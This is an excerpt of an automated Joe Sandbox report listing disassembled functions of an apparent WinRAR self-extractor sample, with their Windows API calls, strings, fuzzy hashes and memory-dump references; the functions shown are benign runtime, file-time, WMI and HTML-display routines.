MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,C3EED02C,00000001,00000000,00000000,?,?,00B8AF6C,ROOT\CIMV2), ref: 00B9FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00B8AF6C,ROOT\CIMV2), ref: 00B9FE14
SysAllocString.OLEAUT32(00000000), ref: 00B9FE1F
_com_issue_error.COMSUPP ref: 00B9FE48
_com_issue_error.COMSUPP ref: 00B9FE52
GetLastError.KERNEL32(80070057,C3EED02C,00000001,00000000,00000000,?,?,00B8AF6C,ROOT\CIMV2), ref: 00B9FE57
_com_issue_error.COMSUPP ref: 00B9FE6A
GetLastError.KERNEL32(00000000,?,?,00B8AF6C,ROOT\CIMV2), ref: 00B9FE80
_com_issue_error.COMSUPP ref: 00B9FE93

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 8189c47f69966fecea5e45110e2c9897e0fd677656fc458377f4cfacaed630c8
Instruction ID: 718ab3ae8c8eaea3dc9ae0252b1e236bdb01f808f91e8dc7759bf34cf4bc4abf
Opcode Fuzzy Hash: 8189c47f69966fecea5e45110e2c9897e0fd677656fc458377f4cfacaed630c8
Instruction Fuzzy Hash: AD41ED71A0061AAFCF109F68CC45BBEBBE8EF44B20F1042B9F515E7251DB749900C7A5

Function 00B8AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B8AF29

Strings

WQL, xrefs: 00B8AFDC
SELECT * FROM Win32_OperatingSystem, xrefs: 00B8AFCA
Name, xrefs: 00B8B0B0
Windows 10, xrefs: 00B8B0C2
ROOT\CIMV2, xrefs: 00B8AF5C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 2d4e64c00821b3dcf68daac49360ed722aada43a6fc18f6142e96996ded8ae46
Instruction ID: 7e2f1228865171323446d3e49835b77d7ecf20be44058db083101a6a14924794
Opcode Fuzzy Hash: 2d4e64c00821b3dcf68daac49360ed722aada43a6fc18f6142e96996ded8ae46
Instruction Fuzzy Hash: 1D713A71A00619EFEF14EFA4CC95DAEB7F9FF48710B140699E516A72A0CB70AD01CB61

Function 00B89382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B89387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00B893AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00B893C9

Part of subcall function 00B8C29A: _wcslen.LIBCMT ref: 00B8C2A2

Part of subcall function 00B91FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00B8C116,00000000,.exe,?,?,00000800,?,?,?,00B98E3C), ref: 00B91FD1

_swprintf.LIBCMT ref: 00B89465

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

MoveFileW.KERNEL32(?,?), ref: 00B894D4
MoveFileW.KERNEL32(?,?), ref: 00B89514

Strings

rtmp%d, xrefs: 00B8944E

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: d63525ed7b4a5ee1a0e7c5dc10f6d1cacc2d70491ecdef441e57fe8bc5f7e246
Instruction ID: 4043ba36d358f3bc582b4027f4046b56ce19ef25660689961261fad302b23da7
Opcode Fuzzy Hash: d63525ed7b4a5ee1a0e7c5dc10f6d1cacc2d70491ecdef441e57fe8bc5f7e246
Instruction Fuzzy Hash: 074151B190025966DF21FBA0CC45EEE73FCEF55740F0848E5B649A3161EB788B89CB60

Function 00B91218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00B9122E

Part of subcall function 00B8B146: GetVersionExW.KERNEL32(?), ref: 00B8B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00B91251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00B91263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00B91274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B91284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B91294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00B912CF
__aullrem.LIBCMT ref: 00B91379

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 0524d9f79b28f6aa1a4480f805e91bf2d91749dcd5f598b03fa47499439a5a44
Instruction ID: bb8c2f801238d91cd7141388111e779180665a86cfafec9b1d35a10d2a91d79a
Opcode Fuzzy Hash: 0524d9f79b28f6aa1a4480f805e91bf2d91749dcd5f598b03fa47499439a5a44
Instruction Fuzzy Hash: F541E5B1508306AFC710DF69C88496BBBF9FB88714F008A2EF596D2210E774E549DB51

Function 00B82210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B82536

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

Part of subcall function 00B905DA: _wcslen.LIBCMT ref: 00B905E0

Strings

;%u, xrefs: 00B82523
xc%u, xrefs: 00B8275A
x%u, xrefs: 00B826FD

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: cf6266c20bdb91d040b73d2ce2fc3ee253333971f155151dec8606bf036edc82
Instruction ID: edc0d61c0443b8212af0aeb1c82eb03df4b98e7ab9c3234378231f3bd9c5ed23
Opcode Fuzzy Hash: cf6266c20bdb91d040b73d2ce2fc3ee253333971f155151dec8606bf036edc82
Instruction Fuzzy Hash: E5F1F6B06043419BDF15FB288495BFE7BD9AF90300F0805EDED869B2A3DB749945C7A2

Function 00B99CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B99D0A

Strings

<style>, xrefs: 00B99E30
</style>, xrefs: 00B99E52
>, xrefs: 00B99D4B
<br>, xrefs: 00B99DFE
</p>, xrefs: 00B99DE8

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 5449efdb098aad7003fec5d578cba4a39ac477fd5bc321aba277f8d485804048
Instruction ID: f03961e80c859ce49ba300632393698f10efbb167a865ab91ee8c24cb09384c6
Opcode Fuzzy Hash: 5449efdb098aad7003fec5d578cba4a39ac477fd5bc321aba277f8d485804048
Instruction Fuzzy Hash: E451576670072391DFB09A2D98517B673E0DFA1750F6908BFF9C1CB2D0FBA58C858261

Function 00BAF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00BAFE02,00000000,00000000,00000000,00000000,00000000,?), ref: 00BAF6CF
__fassign.LIBCMT ref: 00BAF74A
__fassign.LIBCMT ref: 00BAF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00BAF78B
WriteFile.KERNEL32(?,00000000,00000000,00BAFE02,00000000,?,?,?,?,?,?,?,?,?,00BAFE02,00000000), ref: 00BAF7AA
WriteFile.KERNEL32(?,00000000,00000001,00BAFE02,00000000,?,?,?,?,?,?,?,?,?,00BAFE02,00000000), ref: 00BAF7E3

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: e71be9f9ec46942d4e58b81965fab7a157cd38efc69b54d11319dc2362cbb27d
Instruction ID: 15770cecba5d7d360b5d71bd1b510650cba6042443d86d2e300974af374dfdce
Opcode Fuzzy Hash: e71be9f9ec46942d4e58b81965fab7a157cd38efc69b54d11319dc2362cbb27d
Instruction Fuzzy Hash: 3A51A5B1D0424A9FDB10CFA8DC85AEEBBF8EF09710F1441AAE555E7251D770AA41CBA0

Function 00BA2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BA2937
___except_validate_context_record.LIBVCRUNTIME ref: 00BA293F
_ValidateLocalCookies.LIBCMT ref: 00BA29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BA29F3
_ValidateLocalCookies.LIBCMT ref: 00BA2A48

Strings

csm, xrefs: 00BA29DD

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0779bc574c19d8bec660abdabfdc45d98eb3282da12152451955ae52ee366e13
Instruction ID: cc337c8869f85660e0ea6bf6a41abb80adb386dad93de72ce76a726b8dc60d71
Opcode Fuzzy Hash: 0779bc574c19d8bec660abdabfdc45d98eb3282da12152451955ae52ee366e13
Instruction Fuzzy Hash: E641A230A04218AFCF10DF6CC885AAEBBE5EF46724F1481E5E8156B3A2D775DA05CB91

Function 00B99ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00B99EEE
GetWindowRect.USER32(?,00000000), ref: 00B99F44
ShowWindow.USER32(?,00000005,00000000), ref: 00B99FDB
SetWindowTextW.USER32(?,00000000), ref: 00B99FE3
ShowWindow.USER32(00000000,00000005), ref: 00B99FF9

Strings

RarHtmlClassName, xrefs: 00B99FA5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 67bc2061ae79c1f814500de7d8fbec3fda8968943cf76ed853306627d541a88e
Instruction ID: a48e5b1af763d9cf000abae8d56be60b54d8bb43ca4590176139421340278ff9
Opcode Fuzzy Hash: 67bc2061ae79c1f814500de7d8fbec3fda8968943cf76ed853306627d541a88e
Instruction Fuzzy Hash: 70419131008210AFDB615F689C8DB6BBBE8EF49B11F0045ADF845AB156CB34E944CBA2

Function 00B99955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B9995E
_wcslen.LIBCMT ref: 00B99993

Strings

<br>, xrefs: 00B999DF
, xrefs: 00B999B0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00B99987
 , xrefs: 00B99A21

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 19dcea579e304f228e0ffe502b6a234afc9bc79c77832634838351a20cdd3dba
Instruction ID: 3e030819f33120612c3d044491dba0535dfd30ee7bad4c8a41c8e7b1fef9234e
Opcode Fuzzy Hash: 19dcea579e304f228e0ffe502b6a234afc9bc79c77832634838351a20cdd3dba
Instruction Fuzzy Hash: D5318F7664834557EE34AB589C43B7B73E4EB91720F6444BFF482472C0FBA0AD8183A1

Function 00BAC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BAC868: _free.LIBCMT ref: 00BAC891

_free.LIBCMT ref: 00BAC8F2

Part of subcall function 00BA8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34), ref: 00BA8DE2
Part of subcall function 00BA8DCC: GetLastError.KERNEL32(00BB3A34,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34,00BB3A34), ref: 00BA8DF4

_free.LIBCMT ref: 00BAC8FD
_free.LIBCMT ref: 00BAC908
_free.LIBCMT ref: 00BAC95C
_free.LIBCMT ref: 00BAC967
_free.LIBCMT ref: 00BAC972
_free.LIBCMT ref: 00BAC97D

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 3c8237b27ce040e8e647ae2dbdd1ae03fcfa5f2cb6abefa93cc2b9cc0e525157
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 7F112171588B04AAE521BBB1CC07FDB7FECAF06B00F404C69B2DD66492DB79B5058750

Function 00B9E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00B9E669,00B9E5CC,00B9E86D), ref: 00B9E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00B9E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00B9E630

Strings

KERNEL32.DLL, xrefs: 00B9E600
AcquireSRWLockExclusive, xrefs: 00B9E615
ReleaseSRWLockExclusive, xrefs: 00B9E625

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 0841a4935b1e0454e376952f0887d3de4a40c75607e3a653396e01f5530b11d0
Instruction ID: 1037877c16f775425e6ec245266d853219cff88d2e7660aa1e31d45a87444067
Opcode Fuzzy Hash: 0841a4935b1e0454e376952f0887d3de4a40c75607e3a653396e01f5530b11d0
Instruction Fuzzy Hash: 92F0C2317802625B0F31DE6D5CC47BA32C8EA35B4132049F9E921DB210EFA0CC509A91

Function 00B9146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00B914C2

Part of subcall function 00B8B146: GetVersionExW.KERNEL32(?), ref: 00B8B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B914E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B91500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00B91513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B91523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B91533

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: d181bac8ebc1636ffba5c1c9daeaea5b09010ba61a4964f94d09167855fbab78
Instruction ID: 1162b829dd58d25e69265854da506c9d286f6ce8e4000a66196b2beeae3f2614
Opcode Fuzzy Hash: d181bac8ebc1636ffba5c1c9daeaea5b09010ba61a4964f94d09167855fbab78
Instruction Fuzzy Hash: 6B31E675108306AFC704DFA8C88599BB7E8FF98714F004A2AF995D3210E770D509CBA6

Function 00BA2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BA2AF1,00BA02FC,00B9FA34), ref: 00BA2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BA2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BA2B2F
SetLastError.KERNEL32(00000000,00BA2AF1,00BA02FC,00B9FA34), ref: 00BA2B81

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 009be9cb460e5315c57bdb161d926e563c36f4a2bbb60786e6f341df48f74612
Instruction ID: 96cc70b0c589c6944edb98ec2dc87ab23874e673c2283dd6f1ad1f7d82064f2b
Opcode Fuzzy Hash: 009be9cb460e5315c57bdb161d926e563c36f4a2bbb60786e6f341df48f74612
Instruction Fuzzy Hash: 3801F77210E3196FA6142B797C85A662BD9EF03B747A047BDF521568F0EF918C009264

Function 00BA97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00BC1030,00BA4674,00BC1030,?,?,00BA3F73,00000050,?,00BC1030,00000200), ref: 00BA97E9
_free.LIBCMT ref: 00BA981C
_free.LIBCMT ref: 00BA9844
SetLastError.KERNEL32(00000000,?,00BC1030,00000200), ref: 00BA9851
SetLastError.KERNEL32(00000000,?,00BC1030,00000200), ref: 00BA985D
_abort.LIBCMT ref: 00BA9863

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
